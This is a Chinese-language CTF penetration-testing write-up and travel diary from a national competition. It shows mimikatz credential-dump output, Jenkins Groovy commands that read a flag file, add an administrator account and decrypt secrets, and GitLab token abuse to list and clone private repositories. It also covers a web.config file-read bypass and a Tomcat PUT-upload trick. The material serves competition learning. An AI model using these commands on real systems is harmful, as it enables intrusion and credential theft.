Logon Server : (null)
Logon Time : 7/21/2024 6:17:47 AM
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 31470 (00000000:00007aee)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 7/21/2024 6:17:47 AM
SID : S-1-5-96-0-1
msv :
tspkg :
wdigest :
* Username : WIN-OPS88$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 30495 (00000000:0000771f)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 7/21/2024 6:17:46 AM
SID :
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WIN-OPS88$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 7/21/2024 6:17:46 AM
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : WIN-OPS88$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : win-ops88$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
cloudap :
mimikatz(commandline) # exit
Bye!
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # log
Using 'mimikatz.log' for logfile : OK
mimikatz(commandline) # lsadump::dcsync /user:Administrator
ERROR kuhl_m_lsadump_dcsync ; Domain not present, or doesn't look like a FQDN
mimikatz(commandline) # exit
Bye!
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # log
Using 'mimikatz.log' for logfile : OK
mimikatz(commandline) # creds_all
ERROR mimikatz_doLocal ; "creds_all" command of "standard" module not found !
Module : standard
Full name : Standard module
Description : Basic commands (does not require module name)
exit - Quit mimikatz
cls - Clear screen (doesn't work with redirections, like PsExec)
answer - Answer to the Ultimate Question of Life, the Universe, and Everything
coffee - Please, make me a coffee!
sleep - Sleep an amount of milliseconds
log - Log mimikatz input/output to file
base64 - Switch file input/output base64
version - Display some version informations
cd - Change or display current directory
localtime - Displays system local date and time (OJ command)
hostname - Displays system local hostname
mimikatz(commandline) # exit
Bye!
都没啥用
看别人这里是net user Administrator <password>
进行密码修改,然后通过WindowsRDP进行远程桌面登陆
RODC(Unsolved)
不懂,好像是smb密码喷洒
别的师傅的非预期:
在WIN-OPS88桌面上有一个WPS OFFICE
,点开后查看Recent,发现了一个表格,里面有一组账号密码。
由于文件名带有ROAdmins
,很容易想到是RODC相关密码,发现这些密码均能远程登陆RODC Windows的RDP
可惜我没练过渗透,不然应该能想到拿完Windows的shell后要尝试下rdp的
Jinkens
[*] WebTitle http://192.168.8.16:8080 code:403 len:594 title:None
jenkins服务
测试出账密admin:admin123可以登录进去
在Script Console里面打Groovy脚本就行:参考https://xz.aliyun.com/t/6372
那么同样的可以读flag
String fileContents = new File('C:\\Users\\Administrator\\flag\\flag.txt').text
或者执行命令:
println "whoami".execute().text
远程桌面账密:
println "net user test qwer1234! /add".execute().text
println "net localgroup administrators test /add".execute().text
Gitlab(TimeOut)
靠,是原题:https://xz.aliyun.com/t/13378
但是最后十分钟的时候才发现,来不及了没做完,jenkins的服务还慢得要死。。
依旧是在Jenkins里面,进入对应选项卡,点击change password
ctrl+u找到apitoken
{AQAAABAAAAAgvBTIIfz3QQnmD8y+ncKsVDqTEsdqjxdp/rkK9tRPkckOfP9xBtu6uqckTjQJ6gJj}
接下来用Script console解密
println(hudson.util.Secret.fromString("{AQAAABAAAAAgvBTIIfz3QQnmD8y+ncKsVDqTEsdqjxdp/rkK9tRPkckOfP9xBtu6uqckTjQJ6gJj}").getPlainText())
剩下的来不及了😭
有了apitoken之后就能访问gitlab的所有仓库
proxychains curl --header "PRIVATE-TOKEN: glpat-bGEgHAJDvwaPP78rsLeS" "http://192.168.8.42/api/v4/projects"
可以获得一个巨大的返回json,通过这个json可以观察到GitLab中所有的储存库信息
[
{
"id": 5,
"description": null,
"name": "VertexSoftBackup",
"name_with_namespace": "VertexSoft / VertexSoftBackup",
"path": "vertexsoftbackup",
"path_with_namespace": "vertexsoft/vertexsoftbackup",
"created_at": "2024-07-11T17:03:43.603Z",
"default_branch": "main",
"tag_list": [],
"topics": [],
"ssh_url_to_repo": "git@192.168.8.42:vertexsoft/vertexsoftbackup.git",
"http_url_to_repo": "http://192.168.8.42/vertexsoft/vertexsoftbackup.git",
"web_url": "http://192.168.8.42/vertexsoft/vertexsoftbackup",
"readme_url": "http://192.168.8.42/vertexsoft/vertexsoftbackup/-/blob/main/README.md",
"forks_count": 0,
"avatar_url": null,
"star_count": 0,
"last_activity_at": "2024-07-17T05:42:29.243Z",
"namespace": {
"id": 2,
"name": "VertexSoft",
"path": "vertexsoft",
"kind": "group",
"full_path": "vertexsoft",
"parent_id": null,
"avatar_url": null,
"web_url": "http://192.168.8.42/groups/vertexsoft"
},
"repository_storage": "default",
"_links": {
"self": "http://192.168.8.42/api/v4/projects/5",
"issues": "http://192.168.8.42/api/v4/projects/5/issues",
"merge_requests": "http://192.168.8.42/api/v4/projects/5/merge_requests",
"repo_branches": "http://192.168.8.42/api/v4/projects/5/repository/branches",
"labels": "http://192.168.8.42/api/v4/projects/5/labels",
"events": "http://192.168.8.42/api/v4/projects/5/events",
"members": "http://192.168.8.42/api/v4/projects/5/members",
"cluster_agents": "http://192.168.8.42/api/v4/projects/5/cluster_agents"
},
"packages_enabled": true,
"empty_repo": false,
"archived": false,
"visibility": "private",
"resolve_outdated_diff_discussions": false,
"container_expiration_policy": {
"cadence": "1d",
"enabled": false,
"keep_n": 10,
"older_than": "90d",
"name_regex": ".*",
"name_regex_keep": null,
"next_run_at": "2024-07-12T17:03:43.667Z"
},
"repository_object_format": "sha1",
"issues_enabled": true,
"merge_requests_enabled": true,
"wiki_enabled": true,
"jobs_enabled": true,
"snippets_enabled": true,
"container_registry_enabled": true,
"service_desk_enabled": false,
"service_desk_address": null,
"can_create_merge_request_in": true,
"issues_access_level": "enabled",
"repository_access_level": "enabled",
"merge_requests_access_level": "enabled",
"forking_access_level": "enabled",
"wiki_access_level": "enabled",
"builds_access_level": "enabled",
"snippets_access_level": "enabled",
"pages_access_level": "private",
"analytics_access_level": "enabled",
"container_registry_access_level": "enabled",
"security_and_compliance_access_level": "private",
"releases_access_level": "enabled",
"environments_access_level": "enabled",
"feature_flags_access_level": "enabled",
"infrastructure_access_level": "enabled",
"monitor_access_level": "enabled",
"model_experiments_access_level": "enabled",
"model_registry_access_level": "enabled",
"emails_disabled": false,
"emails_enabled": true,
"shared_runners_enabled": true,
"lfs_enabled": true,
"creator_id": 1,
"import_url": null,
"import_type": null,
"import_status": "none",
"open_issues_count": 0,
"description_html": "",
"updated_at": "2024-07-17T05:42:29.243Z",
"ci_default_git_depth": 20,
"ci_forward_deployment_enabled": true,
"ci_forward_deployment_rollback_allowed": true,
"ci_job_token_scope_enabled": false,
"ci_separated_caches": true,
"ci_allow_fork_pipelines_to_run_in_parent_project": true,
"build_git_strategy": "fetch",
"keep_latest_artifact": true,
"restrict_user_defined_variables": false,
"runners_token": "GR1348941cVxxrGfbYCRyHzGyNtRE",
"runner_token_expiration_interval": null,
"group_runners_enabled": true,
"auto_cancel_pending_pipelines": "enabled",
"build_timeout": 3600,
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
"ci_config_path": null,
"public_jobs": true,
"shared_with_groups": [],
"only_allow_merge_if_pipeline_succeeds": false,
"allow_merge_on_skipped_pipeline": null,
"request_access_enabled": true,
"only_allow_merge_if_all_discussions_are_resolved": false,
"remove_source_branch_after_merge": true,
"printing_merge_request_link_enabled": true,
"merge_method": "merge",
"squash_option": "default_off",
"enforce_auth_checks_on_uploads": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
"squash_commit_template": null,
"issue_branch_template": null,
"warn_about_potentially_unwanted_characters": true,
"autoclose_referenced_issues": true,
"permissions": {
"project_access": null,
"group_access": {
"access_level": 50,
"notification_level": 3
}
}
},
{
"id": 4,
"description": "Hexo",
"name": "Hexo",
"name_with_namespace": "VertexSoft / Hexo",
"path": "hexo",
"path_with_namespace": "vertexsoft/hexo",
"created_at": "2024-07-11T17:01:31.691Z",
"default_branch": "master",
"tag_list": [],
"topics": [],
"ssh_url_to_repo": "git@192.168.8.42:vertexsoft/hexo.git",
"http_url_to_repo": "http://192.168.8.42/vertexsoft/hexo.git",
"web_url": "http://192.168.8.42/vertexsoft/hexo",
"readme_url": "http://192.168.8.42/vertexsoft/hexo/-/blob/master/README.md",
"forks_count": 0,
"avatar_url": null,
"star_count": 0,
"last_activity_at": "2024-07-11T17:01:31.661Z",
"namespace": {
"id": 2,
"name": "VertexSoft",
"path": "vertexsoft",
"kind": "group",
"full_path": "vertexsoft",
"parent_id": null,
"avatar_url": null,
"web_url": "http://192.168.8.42/groups/vertexsoft"
},
"repository_storage": "default",
"_links": {
"self": "http://192.168.8.42/api/v4/projects/4",
"issues": "http://192.168.8.42/api/v4/projects/4/issues",
"merge_requests": "http://192.168.8.42/api/v4/projects/4/merge_requests",
"repo_branches": "http://192.168.8.42/api/v4/projects/4/repository/branches",
"labels": "http://192.168.8.42/api/v4/projects/4/labels",
"events": "http://192.168.8.42/api/v4/projects/4/events",
"members": "http://192.168.8.42/api/v4/projects/4/members",
"cluster_agents": "http://192.168.8.42/api/v4/projects/4/cluster_agents"
},
"packages_enabled": true,
"empty_repo": false,
"archived": false,
"visibility": "private",
"resolve_outdated_diff_discussions": false,
"container_expiration_policy": {
"cadence": "1d",
"enabled": false,
"keep_n": 10,
"older_than": "90d",
"name_regex": ".*",
"name_regex_keep": null,
"next_run_at": "2024-07-12T17:01:32.184Z"
},
"repository_object_format": "sha1",
"issues_enabled": true,
"merge_requests_enabled": true,
"wiki_enabled": true,
"jobs_enabled": true,
"snippets_enabled": true,
"container_registry_enabled": true,
"service_desk_enabled": false,
"service_desk_address": null,
"can_create_merge_request_in": true,
"issues_access_level": "enabled",
"repository_access_level": "enabled",
"merge_requests_access_level": "enabled",
"forking_access_level": "enabled",
"wiki_access_level": "enabled",
"builds_access_level": "enabled",
"snippets_access_level": "enabled",
"pages_access_level": "private",
"analytics_access_level": "enabled",
"container_registry_access_level": "enabled",
"security_and_compliance_access_level": "private",
"releases_access_level": "enabled",
"environments_access_level": "enabled",
"feature_flags_access_level": "enabled",
"infrastructure_access_level": "enabled",
"monitor_access_level": "enabled",
"model_experiments_access_level": "enabled",
"model_registry_access_level": "enabled",
"emails_disabled": false,
"emails_enabled": true,
"shared_runners_enabled": true,
"lfs_enabled": true,
"creator_id": 1,
"import_url": null,
"import_type": "gitlab_project",
"import_status": "finished",
"open_issues_count": 0,
"description_html": "<p data-sourcepos=\"1:1-1:4\" dir=\"auto\">Hexo</p>",
"updated_at": "2024-07-11T17:01:32.535Z",
"ci_default_git_depth": 20,
"ci_forward_deployment_enabled": true,
"ci_forward_deployment_rollback_allowed": true,
"ci_job_token_scope_enabled": false,
"ci_separated_caches": true,
"ci_allow_fork_pipelines_to_run_in_parent_project": true,
"build_git_strategy": "fetch",
"keep_latest_artifact": true,
"restrict_user_defined_variables": false,
"runners_token": "GR1348941CyxAy3dnsudA95t35ucx",
"runner_token_expiration_interval": null,
"group_runners_enabled": true,
"auto_cancel_pending_pipelines": "enabled",
"build_timeout": 3600,
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
"ci_config_path": null,
"public_jobs": true,
"shared_with_groups": [],
"only_allow_merge_if_pipeline_succeeds": false,
"allow_merge_on_skipped_pipeline": null,
"request_access_enabled": true,
"only_allow_merge_if_all_discussions_are_resolved": false,
"remove_source_branch_after_merge": true,
"printing_merge_request_link_enabled": true,
"merge_method": "merge",
"squash_option": "default_off",
"enforce_auth_checks_on_uploads": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
"squash_commit_template": null,
"issue_branch_template": null,
"warn_about_potentially_unwanted_characters": true,
"autoclose_referenced_issues": true,
"permissions": {
"project_access": {
"access_level": 40,
"notification_level": null
},
"group_access": {
"access_level": 50,
"notification_level": 3
}
}
},
{
"id": 3,
"description": "VertexSoft Internal Employee Service App",
"name": "VertexApp",
"name_with_namespace": "VertexSoft / VertexApp",
"path": "vertexapp",
"path_with_namespace": "vertexsoft/vertexapp",
"created_at": "2024-07-11T17:00:59.905Z",
"default_branch": "master",
"tag_list": [],
"topics": [],
"ssh_url_to_repo": "git@192.168.8.42:vertexsoft/vertexapp.git",
"http_url_to_repo": "http://192.168.8.42/vertexsoft/vertexapp.git",
"web_url": "http://192.168.8.42/vertexsoft/vertexapp",
"readme_url": "http://192.168.8.42/vertexsoft/vertexapp/-/blob/master/README.md",
"forks_count": 0,
"avatar_url": null,
"star_count": 0,
"last_activity_at": "2024-07-11T17:00:59.877Z",
"namespace": {
"id": 2,
"name": "VertexSoft",
"path": "vertexsoft",
"kind": "group",
"full_path": "vertexsoft",
"parent_id": null,
"avatar_url": null,
"web_url": "http://192.168.8.42/groups/vertexsoft"
},
"repository_storage": "default",
"_links": {
"self": "http://192.168.8.42/api/v4/projects/3",
"issues": "http://192.168.8.42/api/v4/projects/3/issues",
"merge_requests": "http://192.168.8.42/api/v4/projects/3/merge_requests",
"repo_branches": "http://192.168.8.42/api/v4/projects/3/repository/branches",
"labels": "http://192.168.8.42/api/v4/projects/3/labels",
"events": "http://192.168.8.42/api/v4/projects/3/events",
"members": "http://192.168.8.42/api/v4/projects/3/members",
"cluster_agents": "http://192.168.8.42/api/v4/projects/3/cluster_agents"
},
"packages_enabled": true,
"empty_repo": false,
"archived": false,
"visibility": "private",
"resolve_outdated_diff_discussions": false,
"container_expiration_policy": {
"cadence": "1d",
"enabled": false,
"keep_n": 10,
"older_than": "90d",
"name_regex": ".*",
"name_regex_keep": null,
"next_run_at": "2024-07-12T17:01:00.306Z"
},
"repository_object_format": "sha1",
"issues_enabled": true,
"merge_requests_enabled": true,
"wiki_enabled": true,
"jobs_enabled": true,
"snippets_enabled": true,
"container_registry_enabled": true,
"service_desk_enabled": false,
"service_desk_address": null,
"can_create_merge_request_in": true,
"issues_access_level": "enabled",
"repository_access_level": "enabled",
"merge_requests_access_level": "enabled",
"forking_access_level": "enabled",
"wiki_access_level": "enabled",
"builds_access_level": "enabled",
"snippets_access_level": "enabled",
"pages_access_level": "private",
"analytics_access_level": "enabled",
"container_registry_access_level": "enabled",
"security_and_compliance_access_level": "private",
"releases_access_level": "enabled",
"environments_access_level": "enabled",
"feature_flags_access_level": "enabled",
"infrastructure_access_level": "enabled",
"monitor_access_level": "enabled",
"model_experiments_access_level": "enabled",
"model_registry_access_level": "enabled",
"emails_disabled": false,
"emails_enabled": true,
"shared_runners_enabled": true,
"lfs_enabled": true,
"creator_id": 1,
"import_url": null,
"import_type": "gitlab_project",
"import_status": "finished",
"open_issues_count": 0,
"description_html": "<p data-sourcepos=\"1:1-1:40\" dir=\"auto\">VertexSoft Internal Employee Service App</p>",
"updated_at": "2024-07-11T17:01:00.622Z",
"ci_default_git_depth": 20,
"ci_forward_deployment_enabled": true,
"ci_forward_deployment_rollback_allowed": true,
"ci_job_token_scope_enabled": false,
"ci_separated_caches": true,
"ci_allow_fork_pipelines_to_run_in_parent_project": true,
"build_git_strategy": "fetch",
"keep_latest_artifact": true,
"restrict_user_defined_variables": false,
"runners_token": "GR1348941nmFUY2NxrQoLyDNnGYPx",
"runner_token_expiration_interval": null,
"group_runners_enabled": true,
"auto_cancel_pending_pipelines": "enabled",
"build_timeout": 3600,
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
"ci_config_path": null,
"public_jobs": true,
"shared_with_groups": [],
"only_allow_merge_if_pipeline_succeeds": false,
"allow_merge_on_skipped_pipeline": null,
"request_access_enabled": true,
"only_allow_merge_if_all_discussions_are_resolved": false,
"remove_source_branch_after_merge": true,
"printing_merge_request_link_enabled": true,
"merge_method": "merge",
"squash_option": "default_off",
"enforce_auth_checks_on_uploads": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
"squash_commit_template": null,
"issue_branch_template": null,
"warn_about_potentially_unwanted_characters": true,
"autoclose_referenced_issues": true,
"permissions": {
"project_access": {
"access_level": 40,
"notification_level": null
},
"group_access": {
"access_level": 50,
"notification_level": 3
}
}
},
{
"id": 2,
"description": "VertexSoft's old ERP system",
"name": "ERP_Old",
"name_with_namespace": "VertexSoft / ERP_Old",
"path": "erp_old",
"path_with_namespace": "vertexsoft/erp_old",
"created_at": "2024-07-11T17:00:05.051Z",
"default_branch": "master",
"tag_list": [],
"topics": [],
"ssh_url_to_repo": "git@192.168.8.42:vertexsoft/erp_old.git",
"http_url_to_repo": "http://192.168.8.42/vertexsoft/erp_old.git",
"web_url": "http://192.168.8.42/vertexsoft/erp_old",
"readme_url": "http://192.168.8.42/vertexsoft/erp_old/-/blob/master/README.md",
"forks_count": 0,
"avatar_url": null,
"star_count": 0,
"last_activity_at": "2024-07-11T17:00:05.004Z",
"namespace": {
"id": 2,
"name": "VertexSoft",
"path": "vertexsoft",
"kind": "group",
"full_path": "vertexsoft",
"parent_id": null,
"avatar_url": null,
"web_url": "http://192.168.8.42/groups/vertexsoft"
},
"repository_storage": "default",
"_links": {
"self": "http://192.168.8.42/api/v4/projects/2",
"issues": "http://192.168.8.42/api/v4/projects/2/issues",
"merge_requests": "http://192.168.8.42/api/v4/projects/2/merge_requests",
"repo_branches": "http://192.168.8.42/api/v4/projects/2/repository/branches",
"labels": "http://192.168.8.42/api/v4/projects/2/labels",
"events": "http://192.168.8.42/api/v4/projects/2/events",
"members": "http://192.168.8.42/api/v4/projects/2/members",
"cluster_agents": "http://192.168.8.42/api/v4/projects/2/cluster_agents"
},
"packages_enabled": true,
"empty_repo": false,
"archived": false,
"visibility": "private",
"resolve_outdated_diff_discussions": false,
"container_expiration_policy": {
"cadence": "1d",
"enabled": false,
"keep_n": 10,
"older_than": "90d",
"name_regex": ".*",
"name_regex_keep": null,
"next_run_at": "2024-07-12T17:00:07.041Z"
},
"repository_object_format": "sha1",
"issues_enabled": true,
"merge_requests_enabled": true,
"wiki_enabled": true,
"jobs_enabled": true,
"snippets_enabled": true,
"container_registry_enabled": true,
"service_desk_enabled": false,
"service_desk_address": null,
"can_create_merge_request_in": true,
"issues_access_level": "enabled",
"repository_access_level": "enabled",
"merge_requests_access_level": "enabled",
"forking_access_level": "enabled",
"wiki_access_level": "enabled",
"builds_access_level": "enabled",
"snippets_access_level": "enabled",
"pages_access_level": "private",
"analytics_access_level": "enabled",
"container_registry_access_level": "enabled",
"security_and_compliance_access_level": "private",
"releases_access_level": "enabled",
"environments_access_level": "enabled",
"feature_flags_access_level": "enabled",
"infrastructure_access_level": "enabled",
"monitor_access_level": "enabled",
"model_experiments_access_level": "enabled",
"model_registry_access_level": "enabled",
"emails_disabled": false,
"emails_enabled": true,
"shared_runners_enabled": true,
"lfs_enabled": true,
"creator_id": 1,
"import_url": null,
"import_type": "gitlab_project",
"import_status": "finished",
"open_issues_count": 0,
"description_html": "<p data-sourcepos=\"1:1-1:27\" dir=\"auto\">VertexSoft's old ERP system</p>",
"updated_at": "2024-07-11T17:00:07.428Z",
"ci_default_git_depth": 20,
"ci_forward_deployment_enabled": true,
"ci_forward_deployment_rollback_allowed": true,
"ci_job_token_scope_enabled": false,
"ci_separated_caches": true,
"ci_allow_fork_pipelines_to_run_in_parent_project": true,
"build_git_strategy": "fetch",
"keep_latest_artifact": true,
"restrict_user_defined_variables": false,
"runners_token": "GR1348941iNU3bBzdNg5pzdrmapMJ",
"runner_token_expiration_interval": null,
"group_runners_enabled": true,
"auto_cancel_pending_pipelines": "enabled",
"build_timeout": 3600,
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
"ci_config_path": null,
"public_jobs": true,
"shared_with_groups": [],
"only_allow_merge_if_pipeline_succeeds": false,
"allow_merge_on_skipped_pipeline": null,
"request_access_enabled": true,
"only_allow_merge_if_all_discussions_are_resolved": false,
"remove_source_branch_after_merge": true,
"printing_merge_request_link_enabled": true,
"merge_method": "merge",
"squash_option": "default_off",
"enforce_auth_checks_on_uploads": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
"squash_commit_template": null,
"issue_branch_template": null,
"warn_about_potentially_unwanted_characters": true,
"autoclose_referenced_issues": true,
"permissions": {
"project_access": {
"access_level": 40,
"notification_level": null
},
"group_access": {
"access_level": 50,
"notification_level": 3
}
}
},
{
"id": 1,
"description": null,
"name": "PortalCode",
"name_with_namespace": "VertexSoft / PortalCode",
"path": "portalcode",
"path_with_namespace": "vertexsoft/portalcode",
"created_at": "2024-07-11T15:53:27.257Z",
"default_branch": "main",
"tag_list": [],
"topics": [],
"ssh_url_to_repo": "git@192.168.8.42:vertexsoft/portalcode.git",
"http_url_to_repo": "http://192.168.8.42/vertexsoft/portalcode.git",
"web_url": "http://192.168.8.42/vertexsoft/portalcode",
"readme_url": "http://192.168.8.42/vertexsoft/portalcode/-/blob/main/README.md",
"forks_count": 0,
"avatar_url": null,
"star_count": 0,
"last_activity_at": "2024-07-15T14:30:40.441Z",
"namespace": {
"id": 2,
"name": "VertexSoft",
"path": "vertexsoft",
"kind": "group",
"full_path": "vertexsoft",
"parent_id": null,
"avatar_url": null,
"web_url": "http://192.168.8.42/groups/vertexsoft"
},
"repository_storage": "default",
"_links": {
"self": "http://192.168.8.42/api/v4/projects/1",
"issues": "http://192.168.8.42/api/v4/projects/1/issues",
"merge_requests": "http://192.168.8.42/api/v4/projects/1/merge_requests",
"repo_branches": "http://192.168.8.42/api/v4/projects/1/repository/branches",
"labels": "http://192.168.8.42/api/v4/projects/1/labels",
"events": "http://192.168.8.42/api/v4/projects/1/events",
"members": "http://192.168.8.42/api/v4/projects/1/members",
"cluster_agents": "http://192.168.8.42/api/v4/projects/1/cluster_agents"
},
"packages_enabled": true,
"empty_repo": false,
"archived": false,
"visibility": "private",
"resolve_outdated_diff_discussions": false,
"container_expiration_policy": {
"cadence": "1d",
"enabled": false,
"keep_n": 10,
"older_than": "90d",
"name_regex": ".*",
"name_regex_keep": null,
"next_run_at": "2024-07-12T15:53:27.309Z"
},
"repository_object_format": "sha1",
"issues_enabled": true,
"merge_requests_enabled": true,
"wiki_enabled": true,
"jobs_enabled": true,
"snippets_enabled": true,
"container_registry_enabled": true,
"service_desk_enabled": false,
"service_desk_address": null,
"can_create_merge_request_in": true,
"issues_access_level": "enabled",
"repository_access_level": "enabled",
"merge_requests_access_level": "enabled",
"forking_access_level": "enabled",
"wiki_access_level": "enabled",
"builds_access_level": "enabled",
"snippets_access_level": "enabled",
"pages_access_level": "private",
"analytics_access_level": "enabled",
"container_registry_access_level": "enabled",
"security_and_compliance_access_level": "private",
"releases_access_level": "enabled",
"environments_access_level": "enabled",
"feature_flags_access_level": "enabled",
"infrastructure_access_level": "enabled",
"monitor_access_level": "enabled",
"model_experiments_access_level": "enabled",
"model_registry_access_level": "enabled",
"emails_disabled": false,
"emails_enabled": true,
"shared_runners_enabled": true,
"lfs_enabled": true,
"creator_id": 1,
"import_url": null,
"import_type": null,
"import_status": "none",
"open_issues_count": 0,
"description_html": "",
"updated_at": "2024-07-15T14:37:09.617Z",
"ci_default_git_depth": 20,
"ci_forward_deployment_enabled": true,
"ci_forward_deployment_rollback_allowed": true,
"ci_job_token_scope_enabled": false,
"ci_separated_caches": true,
"ci_allow_fork_pipelines_to_run_in_parent_project": true,
"build_git_strategy": "fetch",
"keep_latest_artifact": true,
"restrict_user_defined_variables": false,
"runners_token": "GR13489414oQjRCnTobkTwZpR65iS",
"runner_token_expiration_interval": null,
"group_runners_enabled": true,
"auto_cancel_pending_pipelines": "enabled",
"build_timeout": 3600,
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
"ci_config_path": null,
"public_jobs": true,
"shared_with_groups": [],
"only_allow_merge_if_pipeline_succeeds": false,
"allow_merge_on_skipped_pipeline": null,
"request_access_enabled": true,
"only_allow_merge_if_all_discussions_are_resolved": false,
"remove_source_branch_after_merge": true,
"printing_merge_request_link_enabled": true,
"merge_method": "merge",
"squash_option": "default_off",
"enforce_auth_checks_on_uploads": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
"squash_commit_template": null,
"issue_branch_template": null,
"warn_about_potentially_unwanted_characters": true,
"autoclose_referenced_issues": true,
"permissions": {
"project_access": null,
"group_access": {
"access_level": 50,
"notification_level": 3
}
}
}
]
直接拉下第一个git clone http://oauth2:<API_TOKEN>@192.168.8.42/vertexsoft/vertexsoftbackup.git
然后里面的backups.txt就是最后GitLab的flag
portal(Unsolved)
[*] WebTitle http://192.168.8.9:8000 code:200 len:4018 title:Modbus Monitor - VertexSoft Internal Attendance System
这题是modbus monitor那个服务
随便注册一个用户发现需要admin才能查看某些信息,尝试直接抓包改传入的参数
User Management下有admin的详细信息
admin:A1m!n@Qsx1Jn
头像处有个文件上传的功能,但是没啥用
User List的左上角还有一个Export List的选项可以下载文件,存在任意文件下载
测试发现web.config被ban了
赛后得知可以直接用大小写绕过来读取../web.config,从而得到mssql服务的密码(注意要用admin账号)
然后数据库连上去一把梭了(?
WIN-PC3788(Unsolved)
[*] NetInfo
[*]192.168.8.26
[->]WIN-PC3788
[->]192.168.8.26
Tomcat8.5.71,fuzz半天只有一个/backup/upload
路径下只有index.jsp
赛后得知可以PUT文件上传,类似CVE-2017-12615:https://xz.aliyun.com/t/5610
但是upload目录不解析jsp,目录穿越到backup即可/backup/;../upload
DC(Unsolved)
hint:In the real world, Control of RODC Active Directory Computer Object is dangerous
只要能拿下这2000分,一切都会好起来的
游记(?
day0
(这个应该是day-1)因为前一天去的机票和队友买的不是同一个时间段,导致自己一个人打车-坐动车-坐飞机-坐地铁-找酒店,最后晚上11点了才歇下来,不过成都的夜景还挺热闹的
(你拍的什么🐕8,糊成这样)(((
正式开始day0,去川大报道
校园很大,有一种刘姥姥进大观园的美,感觉像是学园都市(什
最重要的是这里没有减速带!star在装减速带这方面遥遥领先了!(x
然后就是设备测试
笑点解析:下面那个才是我的热点
唉柚子厨共用一个大脑(
还是校内的大楼,感觉好高级,这就是985吗orz
day1
是 AWDP + 可信计算ctf
awdp一上来就看上了js,很快啊,ejs3.1.6,render方法,文件上传,欸这不就稳了吗
然后照着数字中国那题ssti来修这玩意,给定式思维害了,没注意到render方法里面需要传两个参数
直到第6轮的时候才凭借先知文库的找到正确的漏洞点并完成了fix,然后第8轮的时候才成功break,然后因为忙着补充wp细节还和三血失之交臂了555
最重要的是没注意到这个awdp的模式是n血分分数还会递减,会导致我们每一轮都比别人少加分
python那题本地环境起不来调试不了,感觉人都麻了
然后是去尝试fix SolonMaster,不幸地,我这阵子学的java里面刚好唯独没学fastjson,看到依赖里面有个fastjson的时候心凉了半截(
没办法只能硬给resolveClass加黑,但是我接触的java实在是太少了最终也没能修成
最后就默默吃分到了day1结束,还好js break得快能够扳回一城,不然便样衰了。。
3点结束回到酒店直接躺床上睡大觉zzz,队友倒是直接去玩了
晚上便是准备一点渗透相关的东西
day2
你说得对,但今天是0721,中间忘了,因为今天就是这样的日子嘛.jpg
渗透 + 车联网&工控
我自然是负责前者了
什么,我做内网代理,真的假的?
到了场地之后巨魔才发现没带拓展坞于是又回去拿,而我stowaway内网代理搞不明白卡了半天,然后erp又没学过,看着大伙一个个解出erp的时候确实有点急了
好在fscan扫出来的洞是heapdump泄露,此事在我的0xgame week4中亦有记载,运气也是挺好,接下来就是一个简单的shiro利用一把梭getshell,也算是赛棍魅力时刻(
然后做代理的事情全部交给巨魔了,巨魔那边不知道为什么vps总是掉线,没办法只能来我的电脑上操作chisel代理(怎么有人开了快十个终端一个个代理啊x
后面才想起来可以直接socks代理出去,问题不大
WIN-OPS88这里不知道为什么MDUT连不上去数据库,报jdbc的错误,问题不大,我直接把里面的udf.txt顷刻炼化,手动注入便是(
Jenkins因为rwctf的时候接触过一次,看到的时候还挺兴奋x,队友测出是弱密码进入,然后我这里利用本地的先知文库找到后台groovy命令执行的方法,成功拿下
可惜在上午解出三题之后我们便没有较大进展了,浪费不少时间在portal的任意文件读取上面,忘了Windows getshell之后可以尝试rbp远程连接导致RODC没出,后面很多队都只比我们多了100分,就是差在这里
一点半的时候我开始吃午饭,同时刷着先知文库寻找突破口,在最后十五分钟的时候突然发现gitlab好像是春秋云境的原题,但是Jenkins靶机响应慢如乌龟,拼尽全力也无法及时复现,又一次血亏😭
至于WIN-PC3788,有想过是PUT文件上传但感觉版本对不上于是没去实践😭
最终的成绩是国二,也是刷新了协会的历史记录
虽然还是有点遗憾,没能在最后两小时稳住优势,但是已经足够了,所谓的 True Ending 是大家在拼尽全力之后到达的,tql各位
好了,两天的985梦结束了,归来依旧是那个臭双非(
